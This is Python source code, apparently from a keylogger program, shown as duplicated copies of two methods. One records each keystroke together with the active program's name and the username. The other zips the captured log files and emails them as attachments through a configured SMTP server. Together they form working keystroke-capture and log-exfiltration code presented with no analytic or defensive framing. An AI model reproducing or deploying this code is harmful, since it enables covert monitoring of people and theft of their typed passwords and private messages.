def process_event(self): try: # Need the timeout so that thread terminates properly when exiting event = self.q.get(timeout=0.05) # Ahora quiero guardar en el log el tiempo en que se aprieta y # suelta una tecla. process_name = self.get_process_name(event) # See if the program is in the no-log list. loggable = self.needs_logging(event, process_name) if not loggable: self.logger.debug("not loggable, we are outta here\n") return try: self.logger.debug("loggable, lets log it. key: %s" % to_unicode(event.Key)) except AttributeError: # Era un mouse event. return username = get_username() self.sst_q.put((process_name, username, event)) except Empty: pass # let's keep iterating except: self.logger.debug( "some exception was caught in " "the logwriter loop...\nhere it is:\n", exc_info=True) pass # let's keep iterating
def process_event(self): try: # Need the timeout so that thread terminates properly when exiting event = self.q.get(timeout=0.05) # Ahora quiero guardar en el log el tiempo en que se aprieta y # suelta una tecla. process_name = self.get_process_name(event) # See if the program is in the no-log list. loggable = self.needs_logging(event, process_name) if not loggable: self.logger.debug("not loggable, we are outta here\n") return try: self.logger.debug("loggable, lets log it. key: %s" % to_unicode(event.Key)) except AttributeError: # Era un mouse event. return username = get_username() self.sst_q.put((process_name, username, event)) except Empty: pass # let's keep iterating except: self.logger.debug("some exception was caught in " "the logwriter loop...\nhere it is:\n", exc_info=True) pass # let's keep iterating
def send_email(self, subject=myutils.get_username()): ''' Zip and send logfiles by email for the specified logger. We use the email settings specified in the .ini file for the logger. ''' self.logger.debug('Initiating log email.') if self.subsettings['Zip']['Enable Zip'] is False: self.mainapp.event_threads[ self.loggername].timer_threads['Zip'].task_function() try: self.latest_zip_emailed = "" # in case emaillog doesn't exist. emaillog = open( os.path.join(self.log_full_dir, "_internal_emaillog.txt"), 'r') self.latest_zip_emailed = emaillog.readline() emaillog.close() except: self.logger.debug( "Cannot open _internal_emaillog.txt. " "Will email all available zip files.", exc_info=True) self.dir_lock.acquire() try: zipfile_list = os.listdir(self.log_full_dir) # removing elements from a list while iterating over it produces # undesirable results so we make a copy zipfile_list_copy = copy.deepcopy(zipfile_list) self.logger.debug(str(zipfile_list)) if len(zipfile_list) > 0: for filename in zipfile_list_copy: if not self.needs_emailing(filename): zipfile_list.remove(filename) self.logger.debug("removing %s from " "zipfilelist." % filename) self.logger.debug(str(zipfile_list)) # set up the message msg = MIMEMultipart() msg['From'] = self.subsettings['E-mail']['E-mail From'] msg['To'] = COMMASPACE.join( self.subsettings['E-mail']['E-mail To'].split(";")) msg['Date'] = formatdate(localtime=True) msg['Subject'] = self.subsettings['E-mail'][ 'E-mail Subject'] + ' - Sujeto: ' + subject msg.attach( MIMEText(self.subsettings['E-mail']['E-mail Message Body'])) if len(zipfile_list) == 0: msg.attach(MIMEText("No new logs present.")) if len(zipfile_list) > 0: for fname in zipfile_list: part = MIMEBase('application', "octet-stream") part.set_payload( open(os.path.join(self.log_full_dir, fname), "rb").read()) Encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="%s"' % os.path.basename(fname)) msg.attach(part) finally: self.dir_lock.release() # set up the server and send the message # wrap it all in a try/except, so that everything doesn't hang up # in case of network problems and whatnot. try: mysmtp = smtplib.SMTP(self.subsettings['E-mail']['SMTP Server'], self.subsettings['E-mail']['SMTP Port']) if self.cmdoptions.debug: mysmtp.set_debuglevel(1) if self.subsettings['E-mail']['SMTP Use TLS'] is True: # we find that we need to use two ehlos (one before and one # after starttls) # otherwise we get "SMTPException: SMTP AUTH extension not # supported by server" # thanks for this solution go to # http://forums.belution.com/en/python/000/009/17.shtml mysmtp.ehlo() mysmtp.starttls() mysmtp.ehlo() if self.subsettings['E-mail']['SMTP Needs Login'] is True: mysmtp.login( self.subsettings['E-mail']['SMTP Username'], myutils.password_recover( self.subsettings['E-mail']['SMTP Password'])) sendingresults = mysmtp.sendmail( self.subsettings['E-mail']['E-mail From'], self.subsettings['E-mail']['E-mail To'].split(";"), msg.as_string()) self.logger.debug("Email sending errors (if any): " "%s \n" % str(sendingresults)) # need to put the quit in a try, since TLS connections may error # out due to bad implementation with # socket.sslerror: (8, 'EOF occurred in violation of protocol') # Most SSL servers and clients (primarily HTTP, but some SMTP # as well) are broken in this regard: # they do not properly negotiate TLS connection shutdown. # This error is otherwise harmless. # reference URLs: # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037 # http://mail.python.org/pipermail/python-list/2005-August/338280.html try: mysmtp.quit() except: pass # write the latest emailed zip to log for the future if len(zipfile_list) > 0: zipfile_list.sort() emaillog = open( os.path.join(self.log_full_dir, "_internal_emaillog.txt"), 'w') emaillog.write(zipfile_list.pop()) emaillog.close() except: self.logger.debug('Error sending email.', exc_info=True) pass # better luck next time
def send_email(self, subject=myutils.get_username()): ''' Zip and send logfiles by email for the specified logger. We use the email settings specified in the .ini file for the logger. ''' self.logger.debug('Initiating log email.') if self.subsettings['Zip']['Enable Zip'] is False: self.mainapp.event_threads[self.loggername].timer_threads['Zip'].task_function() try: self.latest_zip_emailed = "" # in case emaillog doesn't exist. emaillog = open(os.path.join(self.log_full_dir, "_internal_emaillog.txt"), 'r') self.latest_zip_emailed = emaillog.readline() emaillog.close() except: self.logger.debug("Cannot open _internal_emaillog.txt. " "Will email all available zip files.", exc_info=True) self.dir_lock.acquire() try: zipfile_list = os.listdir(self.log_full_dir) # removing elements from a list while iterating over it produces # undesirable results so we make a copy zipfile_list_copy = copy.deepcopy(zipfile_list) self.logger.debug(str(zipfile_list)) if len(zipfile_list) > 0: for filename in zipfile_list_copy: if not self.needs_emailing(filename): zipfile_list.remove(filename) self.logger.debug("removing %s from " "zipfilelist." % filename) self.logger.debug(str(zipfile_list)) # set up the message msg = MIMEMultipart() msg['From'] = self.subsettings['E-mail']['E-mail From'] msg['To'] = COMMASPACE.join(self.subsettings['E-mail']['E-mail To'].split(";")) msg['Date'] = formatdate(localtime=True) msg['Subject'] = self.subsettings['E-mail']['E-mail Subject'] + ' - Sujeto: ' + subject msg.attach(MIMEText(self.subsettings['E-mail']['E-mail Message Body'])) if len(zipfile_list) == 0: msg.attach(MIMEText("No new logs present.")) if len(zipfile_list) > 0: for fname in zipfile_list: part = MIMEBase('application', "octet-stream") part.set_payload(open(os.path.join(self.log_full_dir, fname),"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(fname)) msg.attach(part) finally: self.dir_lock.release() # set up the server and send the message # wrap it all in a try/except, so that everything doesn't hang up # in case of network problems and whatnot. try: mysmtp = smtplib.SMTP(self.subsettings['E-mail']['SMTP Server'], self.subsettings['E-mail']['SMTP Port']) if self.cmdoptions.debug: mysmtp.set_debuglevel(1) if self.subsettings['E-mail']['SMTP Use TLS'] is True: # we find that we need to use two ehlos (one before and one # after starttls) # otherwise we get "SMTPException: SMTP AUTH extension not # supported by server" # thanks for this solution go to # http://forums.belution.com/en/python/000/009/17.shtml mysmtp.ehlo() mysmtp.starttls() mysmtp.ehlo() if self.subsettings['E-mail']['SMTP Needs Login'] is True: mysmtp.login(self.subsettings['E-mail']['SMTP Username'], myutils.password_recover(self.subsettings['E-mail']['SMTP Password'])) sendingresults = mysmtp.sendmail(self.subsettings['E-mail']['E-mail From'], self.subsettings['E-mail']['E-mail To'].split(";"), msg.as_string()) self.logger.debug("Email sending errors (if any): " "%s \n" % str(sendingresults)) # need to put the quit in a try, since TLS connections may error # out due to bad implementation with # socket.sslerror: (8, 'EOF occurred in violation of protocol') # Most SSL servers and clients (primarily HTTP, but some SMTP # as well) are broken in this regard: # they do not properly negotiate TLS connection shutdown. # This error is otherwise harmless. # reference URLs: # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037 # http://mail.python.org/pipermail/python-list/2005-August/338280.html try: mysmtp.quit() except: pass # write the latest emailed zip to log for the future if len(zipfile_list) > 0: zipfile_list.sort() emaillog = open(os.path.join(self.log_full_dir, "_internal_emaillog.txt"), 'w') emaillog.write(zipfile_list.pop()) emaillog.close() except: self.logger.debug('Error sending email.', exc_info=True) pass # better luck next time